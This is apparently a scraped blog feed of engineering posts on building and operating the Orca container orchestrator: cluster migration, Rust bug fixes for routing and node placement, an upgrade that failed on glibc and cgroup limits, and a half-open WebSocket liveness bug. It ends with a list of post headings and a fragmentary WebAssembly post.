If you've followed this series, you've seen the same instinct three times now: delete the dependency (secrets in git, no Vault), fix the disease not the symptom (the zombie-session liveness rewrite), refuse to guess (exact placement matching). Wasm-as-a-first-class-runtime is the same instinct pointed forward - build the one clean abstraction (Runtime) so that the next execution model is an implementation, not a rewrite.

That's what building an orchestrator for the gap between Coolify and Kubernetes actually feels like: not a smaller Kubernetes, but a different set of bets about what a small operator actually needs - and the discipline to keep the config on one screen while you make them.

Orca is open source (AGPL-3.0) on GitHub. If this series resonated, that's the best place to follow where it goes next.

WebAssembly as a first-class workload - next to your containers

Sharang Parnerkar — Fri, 04 Sep 2026 16:47:08 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

The same machine, two runtimes

Here's a Wasm service in the same config file as your containers:

[[service]]
name = "edge-fn"
runtime = "wasm"
module = "./modules/api.wasm"     # local path or OCI reference
triggers = ["http:/api/edge/*"]   # route these requests to the module
replicas = "auto"

[service.env]
API_KEY = "${secrets.edge_key}"

If you've ever tried to graft a second execution model onto a system that assumed one, you know how much that abstraction is worth. The trait was the whole game.

Why bother, when containers exist

Where this goes: scale-to-zero

Here's the direction, stated honestly as direction and not as a shipped feature.

The through-line

Orca is open source (AGPL-3.0) on GitHub. If this series resonated, that's the best place to follow where it goes next.

One upgrade, three outages: glibc, cgroups, and a placeholder bug

Sharang Parnerkar — Fri, 28 Aug 2026 22:56:58 +0000

This is the last of three parts. In part one I split my personal services onto their own two-node cluster. In part two I read the orchestrator's source and fixed two bugs, which shipped in the next release. This part is what happened when I installed that release.

It broke the cluster three separate ways. None of them shared a root cause. Here they are in the order I hit them.

Failure one: glibc floor

I copied the official release binary to the second node and the service went into a crash loop:

/usr/local/bin/orca: /lib/x86_64-linux-gnu/libc.so.6:
  version `GLIBC_2.32' not found (required by orca)

The node runs Ubuntu 20.04, which ships glibc 2.31. The official builds are linked against something newer, so the binary simply cannot load there. The controller node is newer and took the release fine. The old node could not.

The fix was to stop using the official binary on that node and build one linked against its glibc. Compiling inside a matching container does it:

docker run --rm -v "$PWD":/src -w /src rust:1-bullseye sh -c '
  apt-get update && apt-get install -y protobuf-compiler &&
  cargo build --release'

rust:1-bullseye is Debian 11, glibc 2.31, so the resulting binary runs on the 2.31 node.

The lesson: your oldest host sets your glibc floor for every prebuilt binary. Either build for that floor or retire the host. I now had a standing rule that any orchestrator upgrade on that node needs the container build. I also had a fresh argument for replacing the box.

Failure two: status=219/CGROUP

With a working binary in place, the unit still refused to start, now failing differently:

Main PID: ... (code=exited, status=219/CGROUP)

Exit 219 from systemd means it could not set up the service's cgroup. Not a binary problem at all. The node is a Virtuozzo container, and in that environment the systemd cgroup hierarchy has a hard cap:

$ cat /sys/fs/cgroup/systemd/cgroup.subgroups_limit
100

Then the count:

$ find /sys/fs/cgroup/systemd -type d | wc -l
101

At the cap. systemd could not create even one more service cgroup, so any new unit failed with 219, working binary or not.

What filled it was the interesting part. Two contributors. First, hours of crash-looping from failures one and two churned units. Second, and larger, leaked SSH session scopes. Every SSH login created a session-*.scope cgroup that this systemd version never cleaned up on logout. With zero users actually logged in, 96 of the 101 cgroup directories held no processes at all. My own repeated logins to debug the box had been quietly eating the budget.

The recovery was to remove the process-less session scopes, clear the failed state, and start:

for d in /sys/fs/cgroup/systemd/user.slice/user-*.slice/session-*.scope; do
  [ -s "$d/cgroup.procs" ] || sudo rmdir "$d"
done
sudo systemctl reset-failed orca-agent
sudo systemctl start orca-agent

The lesson: on a constrained container, the cgroup budget is a real, exhaustible resource. Automation or debugging that opens a lot of SSH sessions can silently consume it, and the failure it produces (219/CGROUP) points at systemd, not at whatever you were actually trying to start.

Failure three: the placeholder regression

The binary loaded, the unit started, and the cluster was still broken. Every domain on the controller node returned 404 while the containers underneath ran perfectly fine and served correct responses on localhost.

The orchestrator status showed those services as 0/1 stopped. But docker ps showed the containers up for days. The controller thought the services were not running; the containers disagreed.

The release I had just installed added a startup path that registered each service, and it treated services pinned to the controller's own hostname as remote placeholders: entries that mean "this belongs on some other node, wait for that node to report in". The controller then waited forever for a node that was itself, never adopted the already-running local containers, and never registered their routes. Hence 404 at the edge while the containers ran.

If that sounds familiar, it is the same family as the redeploy bug I fixed in part two: the controller's self-registration matching a placement lookup it should be excluded from. My fix covered the redeploy path. This was a different code path, added later, with the same blind spot.

Two things made it stickier than expected. The placeholder registration also persisted a stop-mark, so simply removing the pins from config was not enough to bring the services back; the reconciler still saw them as stopped. And the new release had dropped the CLI start verb, so clearing the mark meant calling the REST endpoint per service:

for s in app-a app-b app-c; do
  curl -s -X POST -H "Authorization: Bearer $TOKEN" \
    "http://127.0.0.1:PORT/api/v1/services/$s/start"
done

The durable fix was in configuration, and it is the through-line of this whole series: do not pin controller-hosted services at all. Unpinned services default to the controller anyway. Only services that genuinely live on a remote node get an explicit pin. I removed every controller pin, kept the one real remote pin, and filed the regression as orca#151.

The through-line

Across all three parts, one trap kept resurfacing: pinning a service to "the controller's own node" is a landmine in this orchestrator. It caused the redeploy 503 in part two and the placeholder 404 here, through two different code paths. The reliable rule is to never name the controller in a placement; let it be the default and reserve pins for remote nodes.

The other lesson is blunter. An end-of-life host turned a routine upgrade into a multi-hour, three-failure incident: glibc too old for the binary, a Virtuozzo cgroup cap I did not know existed, all of it made worse by the debugging itself. The single best fix for two of these three outages is to retire that box. That is now at the top of the list.

What I would keep, and what I would change

Keep:

Declarative reconcile with git-push deploys. It is fast and legible, and the same property that makes it dangerous makes recovery a git revert.
Reading the source. Twice it beat guessing outright.
Verifying in production against the real path, not in my head.

Change:

Never pin a service to the controller's own node.
Retire end-of-life hosts before they set your glibc floor and hand you exotic kernel limits.
Watch the cgroup budget on constrained containers, and do not let your own debugging sessions leak scopes into it.

That is the split, the bug hunt, and the upgrade. Three posts, one small orchestrator, and a much cleaner separation between the things I run for money and the things I run for fun.

Reading the orchestrator's Rust source to fix my own outage

Sharang Parnerkar — Tue, 25 Aug 2026 13:53:28 +0000

This is part two of three. In part one I split my personal services onto their own cluster. The cutover went fine. Then two things broke that had nothing to do with the migration itself and everything to do with the orchestrator's code, and because the orchestrator is a small open-source tool I run myself, I could go read it.

That turned out to be the whole point.

Symptom one: a shared domain that 404s at random

Two demo apps share a single hostname. A storefront answers /*, an admin panel answers /admin/*. After the migration, whichever one you hit would sometimes 404, and which one "won" changed after every deploy or health-check flap.

The orchestrator, orca, keeps a route table mapping each domain to a list of upstream targets. The request path already did the right thing: it matched the longest path prefix across all targets for a host. So the read side supported several services per domain. The write side did not.

The registration function replaced the whole entry:

// on each service's route update
route_table.insert(domain.clone(), targets.clone());

insert overwrites. So when the storefront registered its targets, it wiped the admin panel's, and vice versa. Every deploy or health transition re-ran registration for one service and clobbered its sibling. Last writer wins, and the loser's paths 404 until it happens to register next.

The removal paths already used the right idea, retain by service name, so only the registration path was wrong. The fix was to merge instead of replace: drop only this service's stale targets, then extend.

let entry = route_table.entry(domain.clone()).or_default();
entry.retain(|t| t.service_name != config.name);
entry.extend(targets.iter().cloned());
if entry.is_empty() {
    route_table.remove(&domain);
}

Twelve lines. Multi-service domains became stable across deploys.

Symptom two: webhook redeploys returning 503

The second problem showed up as soon as the automated deploy pipeline fired for the first time against controller-hosted services. Push, build, push image, the webhook calls the controller, and the controller answers 503 with a message about an agent not being connected.

The clue was "controller-hosted". Services that ran on a remote agent redeployed fine. Only services pinned to the controller's own node failed.

Reading the redeploy path, the cause was clean. The controller self-registers as a node in the cluster so it shows up in the node list. A service pinned to the controller's own hostname resolved to that self-registered node id. Redeploy then treated it like any remote node and tried to send the operation over a control WebSocket. But the controller does not hold a WebSocket to itself. No channel, so the operation failed with an "agent offline" error, surfaced as a 503.

The fix was to exclude the controller's own node id from the remote-placement match, so a service pinned to the controller falls through to the local path it should have taken:

let found = found.filter(|id| *id != master_node_id());

Both fixes went into one pull request: orca#138.

Verifying in production, not in my head

I did not want to trust a reread. The route fix I checked by hammering both paths of the shared domain and forcing redeploys to confirm the routes stayed put. The redeploy fix I checked with the real pipeline: an empty commit to one service repo, which ran CI, pushed the image, called the signed webhook, and this time the controller logged a successful redeploy and returned 200 instead of 503.

Building the patched binary had its own wrinkle. One of my nodes is old enough that I had to compile inside a glibc-2.31 container to get a binary it would run. That is a story for part three, and it is where this migration stopped being tidy.

The actual lesson

Two things generalize.

First, when you self-host a small tool, its source is part of your operational surface. I have spent hours poking at closed systems from the outside, inferring behavior from logs. Here the behavior was one function call away. Reading insert versus retain was faster and more certain than any amount of black-box probing.

Second, the "it worked before" detail localizes the bug. The route bug only appeared with two services on one domain, which is a shape the old single-node layout never had. The redeploy bug only appeared for controller-hosted services once an automated pipeline started calling redeploy. In both cases the exact conditions under which it broke pointed straight at the code path responsible. When something regresses, the first useful question is not "what is wrong" but "what is different about the case that fails".

Next time you hit a wall with a tool you run yourself, check whether you can read the wall. Often you can.

The fixes were real and they shipped in the next release. Installing that release is what broke the cluster three different ways in one afternoon. Part three: glibc, cgroups, and a bug I had just helped create.

Splitting one self-hosted cluster into two, without losing a byte

Sharang Parnerkar — Fri, 21 Aug 2026 13:49:13 +0000

For a while I ran everything on one small orchestrator: my company's tools and my personal side projects, mixed together on shared nodes, one git repo, one object storage account. It worked, but it was the wrong shape. Personal experiments could compete with production for memory, one repo held two very different blast radii, and the bill was a single lump.

So I split it. Personal services moved to their own git repo, their own cluster, their own nodes, and their own object storage project. This is part one of three: the plan and the cutover. Part two is the bug hunt that followed, and part three is the upgrade that broke everything three separate ways.

The setup

The orchestrator is orca, a small single-binary container orchestrator. Two facts about it shape everything below:

It is declarative and it prunes. A controller loop reads a directory of service definitions from git and converges the cluster to match. If you delete a service block and push, the container is removed. A git push is a deploy.
Ingress, TLS, and routing are built in. Each node runs a reverse proxy, and certificates are issued per domain over HTTP-01.

The new personal cluster would be two nodes: one box as the controller, and an older second box joining later as an agent. The business cluster stayed exactly where it was.

The mechanic that matters: reconcile prunes

Because the controller continuously converges the cluster to git, every edit is live the moment it lands on the branch the controller watches. That is convenient and it is dangerous. The dangerous case here was moving a node that already ran personal containers from the old cluster into the new one. If I just deleted those services from the old cluster's git, the controller would happily remove the containers, and depending on how volumes were declared, the data could go with them.

The trick is ordering. To hand a node from cluster A to cluster B without losing data:

Stop the agent on that node first. A controller cannot act on a node it cannot reach. The containers keep running, the volumes stay put.
Only then remove those services from cluster A's git. The controller drops them from desired state but physically cannot prune the now-unreachable node.
Remove the old containers locally, keeping the volumes.
Install the new controller, re-set the secrets, deploy. The new services reattach to the surviving volumes by name.

Downtime for the whole cutover was about half an hour, most of it TLS reissue.

Secrets do not travel as files

The per-service secret store is encrypted at rest with a per-node key. Copying the encrypted file to the new controller would have produced garbage. The path that worked was to export the plaintext on the old controller, stage it, and re-import on the new one:

# on the old controller, per service
orca secrets get MY_KEY   # prints the decrypted value

# stage the values, then on the new controller
orca secrets import -f staged.env

The values never touched a terminal I did not control, and the encrypted blobs never left their node.

Moving object storage without a server-side copy

The buckets lived in one object storage project and needed to move to a separate one. There is no server-side cross-project copy on this provider, so the move was a streamed rclone copy, run on a machine in the same data center as the storage so the bytes never left the region:

rclone copy business:media personal:media --transfers 16 -P
rclone check business:media personal:media --one-way

rclone check reporting zero differences over several thousand objects was the green light. From there the app config pointed at the new bucket, and the old one was retired at the end.

The footgun: a mount that silently vanished

One service, a Navidrome music server, kept losing its library on every deploy. A roughly 26 GB corpus would reappear as empty. The cause was a single misplaced line in the TOML config:

[[service]]
name = "navidrome"
# ...
[service.volume]
path = "/data"
mounts = ["/host/music:/music"]   # WRONG: this is service.volume.mounts

In TOML, a key that appears after a [section] header belongs to that section. So mounts here parsed as service.volume.mounts, a field the orchestrator does not read. It never saw the bind, and the image's own VOLUME declaration created a fresh anonymous volume every deploy. The fix was to move mounts above the first sub-table so it belongs to the top-level service:

[[service]]
name = "navidrome"
mounts = ["/host/music:/music"]   # top-level, seen by the orchestrator
# ...
[service.volume]
path = "/data"

The lesson is boring and worth internalizing: in TOML, section headers are sticky. A key is owned by whatever [table] most recently opened above it.

What made this easy

Most of the personal subdomains already pointed at the node that was becoming the new controller, because those services already ran there. So the big cutover needed almost no DNS change. The proxy came up, HTTP-01 reissued certificates for each domain, and the sites were back. The only real DNS work was two records for services that migrated off the business box later.

Verification

The checks I actually ran after deploy, in order:

Both databases present and listing their expected tables.
The music bind resolving to the host path, not a fresh volume.
Each domain returning a valid certificate and a 200.
A trivial push producing an automatic redeploy through the webhook.
The first scheduled backup landing in the new bucket.

That last one matters. A manual backup command only proved the local leg. Only the scheduled run proved the object storage upload path end to end.

The cutover was the calm part. Right after it, two demo apps that share a domain started returning 404s at random, and webhook redeploys began failing with 503s. That sent me into the orchestrator's own Rust source, which is part two.

`node = "ubuntu"` matched two machines: a placement split-brain

Sharang Parnerkar — Tue, 18 Aug 2026 13:45:35 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

In Orca you can pin a service to a specific machine:

[service.placement]
node = "ubuntu"

Simple, obvious, and it worked fine - right up until the cluster had two nodes whose names shared a prefix: ubuntu and ubuntu-16gb-fsn1-1.

Then one push recreated every pinned service on both machines. Including a database. Two Postgres instances, on two different hosts, both believing they were the one true copy of the same service. In production. A split-brain, born from a single line of code.

The one line

The placement matcher did this:

if node.address.contains(pin) { /* schedule here */ }

contains. A substring test. "ubuntu-16gb-fsn1-1".contains("ubuntu") is true. So a pin of "ubuntu" matched both nodes, and every service pinned to ubuntu got scheduled onto both.

Worse: which node "won" a plain deploy was decided by HashMap iteration order - non-deterministic across restarts. So the behavior wasn't even consistently wrong. It was randomly wrong, which is the most expensive kind.

Substring matching on an identity is one of those bugs that looks completely reasonable in the diff and is a landmine in the field. It works in every test you write, because your test nodes have distinct names. It only detonates when someone, months later, names a second node with an overlapping prefix - which is exactly the kind of thing people do.

The fix: exact identity, and refuse to guess

Two changes, and the second matters more than the first.

One - match exact identity, never a substring. A pin now matches a node only if it equals the node's id, its full ip:port address, the host portion of that address, or its hostname label. "ubuntu" matches the node named ubuntu and only that node.

Two - when a pin is ambiguous, refuse. This is the real lesson. If a pin somehow matches more than one node, the old code picked one (arbitrarily). The new code fails the deploy loudly:

placement pin "ubuntu" matches multiple nodes: 1 (10.0.0.1), 2 (10.0.0.2)
- refusing to schedule; make the pin unique

And if a pin matches nothing - a decommissioned node, a typo - it also refuses, instead of silently falling through to "just run it on the master." That silent fallback was its own latent bug: a mistyped pin would quietly deploy your service to the wrong machine and everything would look fine until it very much wasn't.

The principle is refuse, don't guess. An orchestrator that guesses when it's uncertain will eventually guess wrong at 3am, silently, in a way you find out about from a customer. An orchestrator that refuses hands you a clear error at deploy time, when you're right there watching. A loud failure you see beats a quiet success you don't.

The part I got wrong on the way

Here's the honest bit. When I shipped the exact-match fix, I audited the production config to make sure every existing pin still resolved. I checked the pins against the node addresses I had in memory - 217.154.26.121:9443 and friends - and concluded they were fine.

They weren't. Agents register with a hostname:port address, not ip:port. So the ten pins that used a bare IP suddenly matched nothing, and - thanks to the new "refuse, don't guess" behavior - those deploys started failing loudly.

Which was, ironically, the system working exactly as designed. The fix caught a real config problem (pins pointing at an identity the node doesn't actually register under) instead of silently papering over it. The remedy was to add peer-IP matching so IP pins work regardless of what the agent self-reports - but the meta-lesson stuck: audit against what the system actually stores, not against what you assume it stores. My mental model of the node addresses was wrong, and only the exact-match refusal surfaced it.

Two rules I'd tattoo on a junior engineer

Never substring-match an identity. Names, ids, addresses - compare them whole. The prefix collision is always coming; it's just a question of when.
Refuse when you're not sure. Ambiguity and "no match" are not edge cases to paper over with a default. They're exactly the moments to stop and shout, because a wrong guess in placement means your database is running in two places.

The whole thing was maybe forty lines of code to fix. The split-brain it prevents is unbounded. That ratio - tiny fix, huge blast radius avoided - is most of what infrastructure work actually is.

The WebSocket session that was dead for 10 days - and my dashboard said 'healthy'

Sharang Parnerkar — Fri, 14 Aug 2026 14:16:34 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Here's the incident, cold:

A worker node in my cluster had a control-plane WebSocket session to the master that had been dead since the 7th. It was the 17th. For ten days, every deploy targeting that node timed out with agent did not acknowledge within 10s. And the entire time, the node showed up green in the dashboard. Its heartbeats were flowing. orca status cheerfully reported a service as 1/1 running - a container that had, in fact, been crashed for fourteen hours.

Nothing was on fire. Nothing was alerting. The system was lying to me with a completely straight face, and it had been for a week and a half.

Why the node looked alive

The master↔agent link is a WebSocket. The agent sends a heartbeat every 5 seconds; the master pushes a status ping every 30. The master tracks connected agents in a map keyed by node id. Simple.

The bug is that liveness was inferred from two different things that aren't the same thing. Heartbeats proved the agent process was alive. But deploys were dispatched over the WebSocket session. And those are only the same as long as the socket is actually open.

Then came a half-open TCP connection. The agent's box dropped off the network in a way that sent no FIN, no RST - a NAT conntrack timeout, a VM freeze, the kind of unclean disappearance that's depressingly common. On the master's side, the read on that socket just... blocked. Forever. No error. The session stayed in the connected map. Every status ping the master sent went into a kernel send buffer and evaporated.

Meanwhile the agent, on its side, was in the exact same state: its read blocked forever, and its 5-second heartbeat writes succeeded into a dead send buffer that would only surface an error after the TCP retransmit timeout - about fifteen minutes later, if ever.

So both ends believed they were connected. The map said "connected." And there was a rule - added to fix an earlier bug - that a node with a live session must never be pruned, no matter how stale its heartbeat. That rule was correct in spirit and catastrophic in practice, because "has an entry in the map" was being treated as proof of life. A zombie session is immortal under that rule.

The three prior "fixes" that missed

This was the fourth time this class of bug had bitten. Each previous fix had patched a symptom:

One stopped a node from being wrongly pruned while connected.
One improved the timeout error message.
One handled stale service state.

Every one of them treated a consequence. None of them touched the disease, which was this: node liveness was tracked separately from the channel the master actually dispatches over. As long as those were two different sources of truth, a half-open socket could always desync them.

The fix: liveness is the deploy channel

The permanent fix was to stop having two definitions of "alive." A session is alive if and only if it's carrying traffic. And here's the nice part - both sides already generate regular traffic (5s heartbeats, 30s pings), so I didn't need a new protocol at all. I just needed to enforce a deadline on it:

Master: each session's read loop runs under a read-idle deadline (30s, configurable). Silence past the deadline means the socket is half-open. Tear the session down: remove it from the map, drop the node's placeholder service state, mark it unreachable.
Agent: a 90-second read-idle deadline (three missed pings). A half-dead socket breaks the loop, and the existing backoff-reconnect takes over. No human, no restart.
A missed deploy ACK now has consequences. It doesn't just error - it kills the session, on the theory that an agent that can't ACK a deploy over the channel isn't really connected. The next deploy fails fast with "unreachable until it rejoins" instead of re-timing-out against a corpse.

The stale 1/1 running fixed itself as a consequence: placeholder state only exists while a live session refreshes it, so when the session dies, the placeholders die with it. The system can no longer report confident, hours-old lies, because the state that would tell the lie is gone.

The test that would have caught it

The reason this bug survived three fixes is that nobody had written the test that actually reproduces it. Killing a process is easy to test. A half-open socket is the hard case - the peer is gone but the TCP connection is still open. So the regression test does exactly that: it connects, then goes completely silent while holding the socket open, and asserts the master tears the session down within the deadline.

If your liveness check can't survive that test, it isn't a liveness check. It's a process check wearing a liveness check's clothes.

The lesson

Prove the thing you actually depend on, not a proxy for it. Heartbeats proved the process was up. I was deploying over the socket. Those were different questions, and the gap between them was a ten-day outage that never alerted.

The follow-on lesson is about recurrence: when the same class of bug bites more than twice, stop patching symptoms and go find the shared assumption underneath. Mine was "an entry in the connected map means the node is reachable." Once that assumption was false-by-construction - because a silent session gets torn down - the entire family of bugs closed at once.

It's been running in production since, and it's already earned its keep: when I decommissioned a node, its services dropped cleanly out of status instead of lingering as ghosts. The machinery told the truth about a node leaving. After ten days of it lying about a node staying, that felt like a real win.

DEV Community: Sharang Parnerkar

What does "balanced" mean for a board game?

Turning "balanced" into a target

Who plays the 10,000 games?

The rules, as a program

What does the first player get?

Same game, different players

What a balance claim can promise

A neural network for a > 4, written by hand

Two building blocks: weighted sums and ReLU

How do we turn a > 4 into 0 or 1?

Turning the flag into 10 or 12

Naming the parts: weights, biases and layers

What happens between whole numbers?

Declaring the inputs in Rust, and testing them

Why does the floating-point arithmetic agree?

Supermarket fridges at 50 degrees: could you still build the firmware patch?

What is known, and what is not

Two reasons a fix never reaches a device

What the CRA asks for, in plain terms

Why the same source gives different binaries

Three ways a rebuild fails

Sealing a toolchain: detect, seal, build, verify

Wrapping instead of replacing

Recovering a lost build from bare .c/.h files

What to take from the fridge attacks

A pure, seeded game engine gives you multiplayer almost for free

The RNG is a single uint32

Multiplayer falls out of it

The one bug worth warning you about

Every sound in my browser game is a few lines of Web Audio (no files)

Two primitives

A voice per event

The one real recording, and the autoplay gotcha

Why bother

WebAssembly as a first-class workload - next to your containers

The same machine, two runtimes

Why bother, when containers exist

Where this goes: scale-to-zero

The through-line

WebAssembly as a first-class workload - next to your containers

The same machine, two runtimes

Why bother, when containers exist

Where this goes: scale-to-zero

The through-line

One upgrade, three outages: glibc, cgroups, and a placeholder bug

Failure one: glibc floor

Failure two: status=219/CGROUP

Failure three: the placeholder regression

The through-line

What I would keep, and what I would change

Reading the orchestrator's Rust source to fix my own outage

Symptom one: a shared domain that 404s at random

Symptom two: webhook redeploys returning 503

Verifying in production, not in my head

The actual lesson

Next

Splitting one self-hosted cluster into two, without losing a byte

The setup

The mechanic that matters: reconcile prunes

Secrets do not travel as files

Moving object storage without a server-side copy

The footgun: a mount that silently vanished

What made this easy

Verification

Next

`node = "ubuntu"` matched two machines: a placement split-brain

The one line

The fix: exact identity, and refuse to guess

The part I got wrong on the way

Two rules I'd tattoo on a junior engineer

The WebSocket session that was dead for 10 days - and my dashboard said 'healthy'

Why the node looked alive

The three prior "fixes" that missed

The fix: liveness is the deploy channel

The test that would have caught it

The lesson

How do we turn `a > 4` into 0 or 1?